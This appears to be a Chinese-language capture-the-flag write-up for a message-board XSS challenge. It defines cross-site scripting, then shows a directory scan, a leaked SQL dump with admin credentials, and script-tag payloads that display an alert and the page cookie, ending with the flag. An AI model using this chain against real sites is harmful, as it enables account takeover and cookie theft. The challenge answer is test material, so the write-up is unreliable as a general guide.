留言板
一般来说有输入框的都为xss漏洞
xss漏洞:
定义/原理: 跨站脚本(Cross-Site Scripting),本应该缩写为CSS,但是该缩写已被层叠样式脚本Cascading Style Sheets所用,所以改简称为XSS。也称跨站脚本或跨站脚本攻击。跨站脚本攻击XSS通过将恶意得Script代码注入到Web页面中,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
本质: 是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种 。
特点: XSS主要基于JavaScript完成恶意的攻击行为,由于JS可以非常灵活地操作html、css和浏览器,使得跨站脚本攻击的“想象”空间特别大。
攻击对象: 被攻击者的浏览器。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然后浏览器不会判断代码是否恶意,也就是说xss的对象是用户的浏览器。
一般的攻击过程:
1.攻击者将恶意代码注入到服务器中(如论坛、留言板、邮件等); 2.用户在没有防备的情况下访问了被注入了恶意代码的服务器; 3.服务器将含有恶意代码的网页响应给客户端; 4.在客户端浏览器中触发JS恶意代码。 5.微博、留言板、聊天室等等收集用户输入的地方,都可能被注入xss代码,都存在遭受xss的风险,只要没有对用户的输入进行严格过滤,就会被xss。当攻击者可以将恶意代码注入到服务器中,我们就认为其存在xss漏洞。
用dirsearch扫描目录,发现admin.php,我们打开它
继续访问:
http://114.67.175.224:11906/db.sql(现在题目中没有了)
Date: 2019-08-04 16:13:22
Generator: MySQL-Front 5.3 (Build 4.234)/*!40101 SET NAMES utf8 */;#
Structure for table "text"
#CREATE DATABASE xss DEFAULT CHARACTER SET utf8;
use xss; DROP TABLE IF EXISTS text;
CREATE TABLE text (Id int(11) NOT NULL AUTO_INCREMENT,text varchar(255) DEFAULT NULL,PRIMARY KEY (Id)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;#
Data for table "text"
#/*!40000 ALTER TABLE text DISABLE KEYS /;
/!40000 ALTER TABLE text ENABLE KEYS */;#
Structure for table "user"
#DROP TABLE IF EXISTS user;
CREATE TABLE user (Id int(11) NOT NULL AUTO_INCREMENT,username varchar(255) DEFAULT NULL,password varchar(255) DEFAULT NULL,PRIMARY KEY (Id)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;#
Data for table "user"
#/*!40000 ALTER TABLE user DISABLE KEYS /;
INSERT INTO user VALUES (1,'admin','011be4d65feac1a8');
/!40000 ALTER TABLE user ENABLE KEYS */;
于是我们将admin和他的密码输入admin.php中登录成功,回到首页进行xss测试
<script>alert("1")</script>
回显了我们刚刚上传的 script 代码构造一个获取cookie的js代码 尝试一下 (
<script>alert(document.cookie)</script>)
flag{a70a156b265f749e3b95cc0ed58dc876}